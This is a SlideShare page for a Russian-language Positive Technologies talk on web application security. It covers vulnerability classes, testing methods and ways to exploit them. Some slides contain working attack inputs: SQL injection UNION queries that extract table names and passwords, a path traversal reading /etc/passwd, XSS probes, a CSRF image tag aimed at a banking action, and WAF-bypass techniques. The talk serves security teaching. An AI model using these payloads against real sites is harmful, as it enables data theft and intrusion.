Анализ защищенности  w eb-приложений, выявление уязвимостей в реальных условиях Дмитрий Евтеев ,  Александр Анисимов Posit...
О чем пойдет речь <ul><li>Введение в тему безопасности  w eb-приложений </li></ul><ul><li>Методология выявления уязвимосте...
Опасный мир  web- приложений <ul><li>По данным компании  Positive Technologies  за 2008 год </li></ul><ul><ul><li>83% сайт...
Опасный мир  web- приложений :  статистика за 2008 г.
Классификация уязвимостей в  web- приложениях <ul><li>Web Application Security Consortium WASC-TCv2 </li></ul>http://proje...
Опасный мир  web- приложений :  статистика за 2008 г.
Классификация уязвимостей в  web- приложениях <ul><li>OWASP Top 10 </li></ul><ul><ul><li>A1 - Cross Site Scripting (XSS) <...
Классификация уязвимостей в  web- приложениях <ul><li>CWE/SANS Top 25 </li></ul><ul><ul><li>Не безопасное взаимодействие м...
Подходы по снижению угроз <ul><li>Директивный подход ( Directive) </li></ul><ul><ul><li>Software Development Life Cycle  (...
Часть 1 :  Выявление уязвимостей <ul><ul><li>  Методология выявления уязвимостей  в  w eb-приложениях </li></ul></ul>
Способы обнаружения уязвимостей в  w eb-приложениях <ul><li>Тестирование функций </li></ul><ul><ul><li>Метод «черного ящик...
Пример тестирования функций методом «черного ящика» <ul><li>Сканирование с использованием  MaxPatrol </li></ul>http://www....
Пример тестирования функций методом «черного ящика» <ul><li>Возможности метода «черного ящика» на примере  MaxPatrol  (1) ...
Пример тестирования функций методом «черного ящика» <ul><li>Возможности метода «черного ящика» на примере  MaxPatrol  (2) ...
Пример тестирования функций методом «серого ящика» <ul><li>Acunetix Web Vulnerability Scanner , технология « AcuSensor » <...
Пример работы фаззера ( fuzzing) <ul><li>Фаззинг сайта, «защищенного»  mod_rewrite </li></ul>Тимур Юнусов, Positive Techno...
Анализ исходного кода  web- приложения <ul><li>Статический анализ </li></ul><ul><ul><li>Минусы </li></ul></ul><ul><ul><li>...
Анализ исходного кода  web- приложения <ul><li>Динамический анализ </li></ul><ul><ul><li>Минусы </li></ul></ul><ul><li>При...
Часть 2 :  Эксплуатация уязвимостей ( basic ) <ul><ul><li>Классические техники эксплуатации   уязвимостей </li></ul></ul>
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %...
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %...
SQL Injectio n  – Базовые знания <ul><li>&quot;Внедрение операторов SQL&quot;  </li></ul><ul><ul><li>Способ нападения на б...
SQL Injectio n  – Базовые знания <ul><li>Эксплуатацию  SQL Injection  разделяют в зависимости от типа используемой СУБД   ...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELEC...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELEC...
Уязвимость типа «Внедрение операторов  SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELEC...
SQL Injectio n  – Базовые знания <ul><li>Анатомия  SQL- инъекций </li></ul><ul><li>SQL- инъекция может эксплуатироваться к...
SQL Injectio n  – Классическая эксплуатация ( MySQL ) <ul><li>Возможный метод обнаружения уязвимости /?id=1 + ORDER+BY+100...
SQL Injectio n  – Различия СУБД <ul><li>Особенности эксплуатации для разных СУБД Пример ( MySQL ) : SELECT * from table wh...
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %...
Cross-Site Scripting  – Базовые знания <ul><li>&quot;Межсайтовое выполнение сценариев“ </li></ul><ul><ul><li>Межсайтовое в...
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>...
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>...
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» с...
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» с...
Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» с...
Cross-Site Scripting  – Классическая эксплуатация <ul><li>Возможный метод обнаружения уязвимости /?id= &quot;><script>aler...
Cross-Site Scripting  – Различия браузеров <ul><li>http://projects.webappsec.org/Script-Mapping </li></ul>
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %...
Статистика используемых паролей в России <ul><li>Более 40% паролей можно взломать из-за простоты </li></ul><ul><li>Статист...
Уязвимость типа «Подбор» web- сервер http://web/secure/
Уязвимость типа «Подбор» web- сервер http://web/secure/
Уязвимости  web -приложений Статистика уязвимостей  web- приложений  Positive Technologies  за 2008 год ( Whitebox Sites %...
Path Traversal, L/RFI – Базовые знания <ul><li>Пример уязвимости  Path Traversal </li></ul><ul><ul><li>Логика программы : ...
Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=positive.jpg … . $handle = fopen(&quot;positive...
Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=../../../../../../etc/passwd … . $handle = fope...
Уязвимости  web -приложений <ul><li>Уязвимость типа &quot;Подделка  HTTP- запросов&quot; ( Cross-Site Request Forgery, CSR...
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?ac...
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?ac...
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?ac...
Уязвимость типа « Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?ac...
Часть  3:  Эксплуатация уязвимостей ( advanced ) <ul><ul><li>Современные техники эксплуатации уязвимостей </li></ul></ul>
Уязвимость типа « Подделка  HTTP- запросов » <ul><li>Распространенные способы защиты от  CSRF- атак : </li></ul><ul><ul><l...
Защита от уязвимости типа « Подделка  HTTP- запросов » <ul><li>Пример реализации защиты от  CSRF  на основе  OWASP CSRFGua...
Защита от уязвимости типа « Подделка  HTTP- запросов » <ul><li>Пример реализации защиты от  CSRF  на основе  JSCK  ( java-...
Защита от уязвимости типа « Подделка  HTTP- запросов » <ul><li>OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard  и др.  –  реше...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » <ul><li>Современный  CSRF – Dynamic Cross-Site Request Forgery <...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интерне...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интерне...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интерне...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интерне...
Уязвимость типа «Динамическая п одделка  HTTP- запросов » <ul><li>Использование  CSS History Hack (Jeremiah Grossman)  для...
CSRF   &   XSS <ul><li>Почему  CSRF & XSS   ? </li></ul><ul><li>Облегчает проведение  Dynamic Cross-Site Request Forgery <...
CSRF   &   XSS <ul><li>Самая простая реализация порт-сканера на  java - script </li></ul><ul><li>http://www.gnucitizen.org...
Атака « Anti DNS Pinning » <ul><li>Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) </li></ul><ul><li>Обход ограничений ...
Уязвимость типа « Anti DNS Pinning » Контролируемый  web- сервер www.hack.example  (1.1.1.1) MS Project Server 192.168.0.1...
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий  java-script , например,...
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени  www.ha...
Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET...
Уязвимость типа « Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый  DNS- серве...
Часть  4:  Эксплуатация уязвимостей ( filters bypass ) <ul><ul><li>Эксплуатация уязвимостей в контексте обхода программных...
Фильтры поступающих данных. Какие они бывают <ul><li>Прозрачные для  web- приложения </li></ul><ul><ul><li>magic_quotes_gp...
Методы обхода фильтров безопасности  (1)  –  SQL Injection <ul><li>Использовать кодирование передаваемых в приложение данн...
Методы обхода фильтров безопасности  (2)  –  SQL Injection <ul><li>Использовать представления, отсутствующие в фильтре </l...
Методы обхода фильтров безопасности   –  SQL Injection <ul><li>Пример по обходу сигнатур (обфускация запроса) </li></ul><u...
Методы обхода фильтров безопасности  (3)  –  SQL Injection <ul><li>Использовать null-byte для обхода бинарно-зависимых фун...
Методы обхода фильтров безопасности  ( 4 )  –  SQL Injection <ul><li>Обход функции  addslashes() </li></ul><ul><li>Это воз...
Методы обхода фильтров безопасности  (5)  –  SQL Injection <ul><li>Пример распространенной уязвимости в функциях фильтров ...
Практика обхода   фильтров на примере  KIS 2009 <ul><li>Kaspersky Internet Security 2009 </li></ul><ul><ul><li>Ругается на...
Методы обхода фильтров безопасности   –  XSS <ul><ul><li>Пример эксплуатации  XSS  совместно с обходом встроенного фильтра...
Методы обхода фильтров безопасности  -   Path Traversal <ul><li>Пример уязвимости  path traversal </li></ul><ul><ul><li>Ло...
Часть  5:  Эксплуатация уязвимостей ( WAF bypass ) <ul><ul><li>Эксплуатация уязвимостей в контексте обхода  Web Applicatio...
Что такое  WAF http:// server /?id=6329&print=Y Нас атакуют!   Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// se...
Какие они бывают <ul><li>По режиму работы : </li></ul><ul><ul><li>Мост / Маршрутизатор </li></ul></ul><ul><ul><li>Обратный...
Методы обхода  WAF <ul><li>Фундаментальные ограничения технологии </li></ul><ul><ul><li>Неспособность полностью защитить  ...
<ul><li>Небезопасное восстановление паролей ( Weak Password Recovery Validation) </li></ul>Методы обхода  WAF –  Фундамент...
Практика обхода WAF: SQL Injection - нормализация <ul><li>Пример уязвимости в функции нормализации запроса </li></ul><ul><...
Практика обхода WAF: SQL Injection –  HPP  (пример 1) <ul><li>Использование  HTTP Parameter Pollution (HPP) </li></ul><ul>...
Практика обхода WAF: SQL Injection –  HPP <ul><li>Как это работает ? </li></ul><ul><li>Пример в среде  IIS/ASP </li></ul><...
Практика обхода WAF:  HTTP Parameter Pollution (HPP)
Практика обхода WAF: SQL Injection –  HPP <ul><li>Пример в среде  Apache/PHP/Mod_Rewrite </li></ul><ul><li>Правило  mod_re...
Практика обхода WAF:  HTTP Parameter Pollution (HPP) Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеив...
Практика обхода WAF: SQL Injection –  HPP  (пример 2) <ul><li>Использование  HTTP Parameter Pollution (HPP) </li></ul><ul>...
Практика обхода WAF: SQL Injection  – HPF <ul><li>Использование  HTTP Parameter Fragmentation (HPF) </li></ul><ul><ul><li>...
Практика обхода WAF:  Blind  SQL Injection <ul><li>Использование логических запросов  AND  и  OR </li></ul><ul><ul><li>Сле...
Практика обхода WAF: SQL Injection  – PHPIDS <ul><li>PHPIDS (0.6.1.1) </li></ul><ul><ul><li>Ругается на : /?id=1+union+sel...
Практика обхода WAF: SQL Injection  – Mod_Security <ul><li>Mod_Security (2.5.9) </li></ul><ul><ul><li>Ругается на : /?id=1...
Практика обхода WAF: SQL Injection  – Mod_Security <ul><li>И еще один красивый способ эксплуатации SQL Injection в обход  ...
<ul><ul><li>Общие проблемы </li></ul></ul><ul><ul><li>Сохраненный вариант  XSS </li></ul></ul><ul><ul><li>В случае если уд...
Практика обхода WAF:  Cross-Site Scripting <ul><ul><li>XSS  через перенаправление запроса </li></ul></ul><ul><ul><li>Уязви...
Практика обхода WAF:  Cross-Site Scripting <ul><ul><li>Использование  HPP, HPF  иногда позволяет обойти фильтры </li></ul>...
Практика обхода WAF:  Path Traversal  и  LFI <ul><li>Действительно, обойти сигнатуру « ../ »   и «..»   не всегда возможно...
Практика обхода WAF:  Path Traversal  и  LFI <ul><li>Использование замены null-byte в реальных условиях </li></ul><ul><li>...
Практика обхода WAF:  Path Traversal  и  LFI <ul><li>Пример 2. Выполнение команд на сервере </li></ul><ul><ul><li>Логика п...
Практика обхода WAF:  Remote File Including <ul><li>Фундаментальные ограничения  WAF ( универсальный фильтр будет блокиров...
Уязвимости в «живой природе»
<ul><li>SQL Injection  можно встретить даже на широко известных и крупных Интернет-ресурсах </li></ul>SQL Injection  в «жи...
<ul><li>XSS –  «головная боль» для всех  web- проектов </li></ul>Cross-Site Scripting  в «живой природе»
К чему приводит беззаботное отношение к безопасности  web- приложений ?
Мы немного посканировали… <ul><li>Инструментальное обследование сети </li></ul><ul><li>Сканирование портов и сервисов </li...
… обнаружили уязвимость в  web- приложении… <ul><li>Сканирование сети </li></ul><ul><li>Успешно подобран пароль! </li></ul...
… захватили управление всей сетью  :-) <ul><li>Сканирование сети </li></ul><ul><li>Успешно подобран пароль! </li></ul><ul>...
Резюме <ul><li>WAF –  это  не долгожданная &quot;серебряная пуля&quot; </li></ul><ul><ul><li>WAF не устраняет уязвимость, ...
Спасибо за внимание! [email_address] [email_address] http://www.ptsecurity.ru/
Upcoming SlideShare
Loading in …5
×

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

13,068 views

Published on

Уязвимости и атаки на Web-приложения, общепринятые классификации уязвимостей. Ошибки, допускаемые разработчиками при создании клиентской и серверной частей Web-приложения, их возможные последствия и методы выявления и устранения. Примеры из практики. Обзор специализированных средств защиты Web-приложений: Web Application Firewall (WAF). Стоит ли полагаться на WAF?

Методология выявления уязвимостей в Web-приложениях, в частности, с использованием различных средств автоматического анализа.

0 Comments
12 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
13,068
On SlideShare
0
From Embeds
0
Number of Embeds
508
Actions
Shares
0
Downloads
357
Comments
0
Likes
12
Embeds 0
No embeds

No notes for slide

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

  1. 1. Анализ защищенности w eb-приложений, выявление уязвимостей в реальных условиях Дмитрий Евтеев , Александр Анисимов Positive Technologies
  2. 2. О чем пойдет речь <ul><li>Введение в тему безопасности w eb-приложений </li></ul><ul><li>Методология выявления уязвимостей в w eb-приложениях </li></ul><ul><li>Классические техники эксплуатации уязвимостей </li></ul><ul><li>Современные техники эксплуатации уязвимостей </li></ul><ul><li>Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности </li></ul><ul><li>Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF) </li></ul><ul><li>Резюме </li></ul>
  3. 3. Опасный мир web- приложений <ul><li>По данным компании Positive Technologies за 2008 год </li></ul><ul><ul><li>83% сайтов содержат критические уязвимости </li></ul></ul><ul><ul><li>78% сайтов содержат уязвимости средней степени риска </li></ul></ul><ul><ul><li>вероятность автоматизированного заражения страниц уязвимого w eb-приложения вредоносным кодом составляет приблизительно 15-20% </li></ul></ul><ul><ul><li>http://ptsecurity.ru/analytics.asp </li></ul></ul>Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59 w eb-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.
  4. 4. Опасный мир web- приложений : статистика за 2008 г.
  5. 5. Классификация уязвимостей в web- приложениях <ul><li>Web Application Security Consortium WASC-TCv2 </li></ul>http://projects.webappsec.org/Threat-Classification-Working http://www.webappsec.org/projects/threat/
  6. 6. Опасный мир web- приложений : статистика за 2008 г.
  7. 7. Классификация уязвимостей в web- приложениях <ul><li>OWASP Top 10 </li></ul><ul><ul><li>A1 - Cross Site Scripting (XSS) </li></ul></ul><ul><ul><li>A2 - Injection Flaws (eq SQL Injection) </li></ul></ul><ul><ul><li>A3 - Malicious File Execution (eq RFI) </li></ul></ul><ul><ul><li>A4 - Insecure Direct Object Reference (eq Insufficient Authorization) </li></ul></ul><ul><ul><li>A5 - Cross Site Request Forgery (CSRF) </li></ul></ul><ul><ul><li>A6 - Information Leakage and Improper Error Handling (eq Information Leakage) </li></ul></ul><ul><ul><li>A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force) </li></ul></ul><ul><ul><li>A8 - Insecure Cryptographic Storage </li></ul></ul><ul><ul><li>A9 - Insecure Communications (eq Insufficient Transport Layer Protection) </li></ul></ul><ul><ul><li>A10 - Failure to Restrict URL Access (eq Insufficient Process Validation) </li></ul></ul>http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
  8. 8. Классификация уязвимостей в web- приложениях <ul><li>CWE/SANS Top 25 </li></ul><ul><ul><li>Не безопасное взаимодействие между компонентами </li></ul></ul><ul><ul><ul><li>CWE-20: Improper Input Validation </li></ul></ul></ul><ul><ul><ul><li>CWE-116: Improper Encoding or Escaping of Output </li></ul></ul></ul><ul><ul><ul><li>CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection') </li></ul></ul></ul><ul><ul><ul><li>CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting') </li></ul></ul></ul><ul><ul><ul><li>CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection') </li></ul></ul></ul><ul><ul><ul><li>CWE-319: Cleartext Transmission of Sensitive Information </li></ul></ul></ul><ul><ul><ul><li>CWE-352: Cross-Site Request Forgery (CSRF) </li></ul></ul></ul><ul><ul><ul><li>CWE-362: Race Condition </li></ul></ul></ul><ul><ul><ul><li>CWE-209: Error Message Information Leak </li></ul></ul></ul><ul><ul><li>Риски при управлении ресурсами </li></ul></ul><ul><ul><ul><li>CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer </li></ul></ul></ul><ul><ul><ul><li>CWE-642: External Control of Critical State Data </li></ul></ul></ul><ul><ul><ul><li>CWE-73: External Control of File Name or Path </li></ul></ul></ul><ul><ul><ul><li>CWE-426: Untrusted Search Path </li></ul></ul></ul><ul><ul><ul><li>CWE-94: Failure to Control Generation of Code ('Code Injection') </li></ul></ul></ul><ul><ul><ul><li>CWE-494: Download of Code Without Integrity Check </li></ul></ul></ul><ul><ul><ul><li>CWE-404: Improper Resource Shutdown or Release </li></ul></ul></ul><ul><ul><ul><li>CWE-665: Improper Initialization </li></ul></ul></ul><ul><ul><ul><li>CWE-682: Incorrect Calculation </li></ul></ul></ul><ul><ul><li>Прочие угрозы </li></ul></ul><ul><ul><ul><li>CWE-285: Improper Access Control (Authorization) </li></ul></ul></ul><ul><ul><ul><li>CWE-327: Use of a Broken or Risky Cryptographic Algorithm </li></ul></ul></ul><ul><ul><ul><li>CWE-259: Hard-Coded Password </li></ul></ul></ul><ul><ul><ul><li>CWE-732: Incorrect Permission Assignment for Critical Resource </li></ul></ul></ul><ul><ul><ul><li>CWE-330: Use of Insufficiently Random Values </li></ul></ul></ul><ul><ul><ul><li>CWE-250: Execution with Unnecessary Privileges </li></ul></ul></ul><ul><ul><ul><li>CWE-602: Client-Side Enforcement of Server-Side Security </li></ul></ul></ul>http://cwe.mitre.org/top25 /
  9. 9. Подходы по снижению угроз <ul><li>Директивный подход ( Directive) </li></ul><ul><ul><li>Software Development Life Cycle ( SDLC ), «бумажная безопасность», выстраивание высокоуровневых процессов </li></ul></ul><ul><li>Детективный подход ( Detective) </li></ul><ul><ul><li>Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода </li></ul></ul><ul><li>Профилактический подход ( Preventive) </li></ul><ul><ul><li>Intrusion Detection/Prevention Systems (IDS/IPS) , Web Application Firewall ( WAF ) </li></ul></ul><ul><li>Корректирующий подход ( Corrective) </li></ul><ul><ul><li>Ведение журналов событий, обработка инцидентов </li></ul></ul><ul><li>Подход к восстановлению ( Recovery) </li></ul><ul><ul><li>Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов ( BS25999 ) </li></ul></ul>
  10. 10. Часть 1 : Выявление уязвимостей <ul><ul><li> Методология выявления уязвимостей в w eb-приложениях </li></ul></ul>
  11. 11. Способы обнаружения уязвимостей в w eb-приложениях <ul><li>Тестирование функций </li></ul><ul><ul><li>Метод «черного ящика» ( black - box ) </li></ul></ul><ul><ul><li>Метод «серого ящика» ( gray - box ) </li></ul></ul><ul><ul><li>Метод «белого ящика» ( white - box ) </li></ul></ul><ul><li>Фаззинг ( fuzzing) </li></ul><ul><li>Анализ исходного кода </li></ul><ul><ul><li>Статический анализ </li></ul></ul><ul><ul><li>Динамический анализ </li></ul></ul><ul><ul><li>Ручной анализ </li></ul></ul><ul><li>Бинарный анализ приложения ( binary analysis ) </li></ul>
  12. 12. Пример тестирования функций методом «черного ящика» <ul><li>Сканирование с использованием MaxPatrol </li></ul>http://www.ptsecurity.ru/maxpatrol.asp
  13. 13. Пример тестирования функций методом «черного ящика» <ul><li>Возможности метода «черного ящика» на примере MaxPatrol (1) </li></ul>
  14. 14. Пример тестирования функций методом «черного ящика» <ul><li>Возможности метода «черного ящика» на примере MaxPatrol (2) </li></ul>
  15. 15. Пример тестирования функций методом «серого ящика» <ul><li>Acunetix Web Vulnerability Scanner , технология « AcuSensor » </li></ul>http://www.acunetix.com/websitesecurity/rightwvs.htm
  16. 16. Пример работы фаззера ( fuzzing) <ul><li>Фаззинг сайта, «защищенного» mod_rewrite </li></ul>Тимур Юнусов, Positive Technologies Research Team ( статья в ближайшее время будет опубликована на портале www.securitylab.ru)
  17. 17. Анализ исходного кода web- приложения <ul><li>Статический анализ </li></ul><ul><ul><li>Минусы </li></ul></ul><ul><ul><li>Ошибки первого рода (false negative — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин: </li></ul></ul><ul><ul><li>при программировании w eb-приложения используется сложный синтаксис; </li></ul></ul><ul><ul><li>проверки переменных происходят с использованием собственных функций приложения; </li></ul></ul><ul><ul><li>отсутствуют соответствующие сигнатуры. </li></ul></ul><ul><ul><li>В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false positive — «ложные сообщения об уязвимостях»). </li></ul></ul><ul><ul><li>Плюсы </li></ul></ul><ul><li>Простота в реализации. </li></ul><ul><li>Наиболее известные разработчики коммерческих продуктов </li></ul><ul><ul><li>Armorize Technologies, Fortify, Ounce Labs </li></ul></ul>
  18. 18. Анализ исходного кода web- приложения <ul><li>Динамический анализ </li></ul><ul><ul><li>Минусы </li></ul></ul><ul><li>Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр. </li></ul><ul><li>Сложность в реализации. </li></ul><ul><ul><li>Плюсы </li></ul></ul><ul><li>Наиболее качественная оценка исходного кода. </li></ul><ul><li>Наиболее известные разработчики коммерческих продуктов </li></ul><ul><ul><li>Coverity, Valgrind, Fortify PTA </li></ul></ul>
  19. 19. Часть 2 : Эксплуатация уязвимостей ( basic ) <ul><ul><li>Классические техники эксплуатации уязвимостей </li></ul></ul>
  20. 20. Уязвимости web -приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  21. 21. Уязвимости web -приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  22. 22. SQL Injectio n – Базовые знания <ul><li>&quot;Внедрение операторов SQL&quot; </li></ul><ul><ul><li>Способ нападения на базу данных в обход межсетевой защиты. В этом методе параметры, передаваемые базе данных через w eb- приложения, изменяются таким образом, чтобы изменить выполняемый SQL - запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным. </li></ul></ul><ul><li>Выделяют два вида SQL Injection </li></ul><ul><ul><li>SQL Injection в строковом параметре Примеры : </li></ul></ul><ul><ul><ul><li>SELECT * from table where name = &quot; $_GET['name'] &quot; </li></ul></ul></ul><ul><ul><ul><li>SELECT id, acl from table where user_agent = ' $_SERVER[&quot;HTTP_USER_AGENT&quot;] ' </li></ul></ul></ul><ul><ul><li>SQL Injection в цифровом параметре Примеры : </li></ul></ul><ul><ul><ul><li>SELECT login, name from table where id = $_COOKIE[&quot;id&quot;] </li></ul></ul></ul><ul><ul><ul><li>SELECT id, news from table where news = 123 limit $_POST[&quot;limit&quot;] </li></ul></ul></ul>
  23. 23. SQL Injectio n – Базовые знания <ul><li>Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения </li></ul><ul><ul><li>Уязвимый запрос может обрабатывать Insert, Update, Delete , etc . </li></ul></ul><ul><ul><li>Инъекция может быть в любом участке SQL- запроса </li></ul></ul><ul><ul><li>Blind SQL Injection ( слепое внедрение операторов SQL) </li></ul></ul><ul><ul><li>Особенности языка SQL, используемого в разных СУБД </li></ul></ul><ul><li>Уязвимость SQL- инъекция – это не только уязвимость, характерная для web- приложений! </li></ul>
  24. 24. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  25. 25. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  26. 26. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  27. 27. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  28. 28. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  29. 29. Уязвимость типа «Внедрение операторов SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  30. 30. SQL Injectio n – Базовые знания <ul><li>Анатомия SQL- инъекций </li></ul><ul><li>SQL- инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени </li></ul>
  31. 31. SQL Injectio n – Классическая эксплуатация ( MySQL ) <ul><li>Возможный метод обнаружения уязвимости /?id=1 + ORDER+BY+100 </li></ul><ul><ul><li>SQL- запрос примет вид </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 ORDER BY 100 </li></ul></ul><ul><ul><li>В результате может быть получено следующее сообщение об ошибке </li></ul></ul><ul><ul><li>ERROR 1054 (42S22): Unknown column '100' in 'order clause' </li></ul></ul><ul><li>Получение имен таблиц/колонок ( information_schema/ перебор) и последующее получение данных из найденных таблиц </li></ul><ul><li>/?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns </li></ul><ul><ul><li>SQL- запрос примет вид </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns </li></ul></ul><ul><ul><li>В результате может быть получена требуемая информация в формате </li></ul></ul><ul><ul><li>| 0 | table1:column1 | </li></ul></ul><ul><ul><li>| 0 | table1:column2 | </li></ul></ul>
  32. 32. SQL Injectio n – Различия СУБД <ul><li>Особенности эксплуатации для разных СУБД Пример ( MySQL ) : SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Пример ( Oracle ) : SELECT * from table where id = 1 union select null,null,null from sys.dual </li></ul>MySQL MSSQL MS Access Oracle DB2 PostgreSQL Объединение строк concat(,) concat_ws(delim,) ' '+' ' &quot; &quot;&&quot; &quot; ' '||' ' '' concat '' &quot; &quot;+&quot; &quot; ' '||' ' ' '||' ' Комментарии -- и /* * / и # -- и /* Нет -- и /* -- -- и /* Объединение запросов union union и ; union union union union и ; Подзапросы v .4.1 >= Да Нет Да Да Да Хранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его аналога v .5.0 >= Да Да Да Да Да
  33. 33. Уязвимости web -приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  34. 34. Cross-Site Scripting – Базовые знания <ul><li>&quot;Межсайтовое выполнение сценариев“ </li></ul><ul><ul><li>Межсайтовое выполнение сценариев (Cross site scripting или XSS) – это возможность вставки HTML - кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д. </li></ul></ul><ul><li>Условно Cross-Site Scripting (XSS) делят на : </li></ul><ul><ul><li>Сохраненный вариант (persistent/stored) </li></ul></ul><ul><ul><li>Отраженный вариант (non-persistent/reflected) </li></ul></ul><ul><li>Cross-Site Scripting – это уязвимость на стороне клиента ( client side ) </li></ul><ul><ul><li>Microsoft Internet Explorer 8 XSS filter </li></ul></ul><ul><ul><li>Mozilla NoScript Firefox extension </li></ul></ul>
  35. 35. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
  36. 36. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
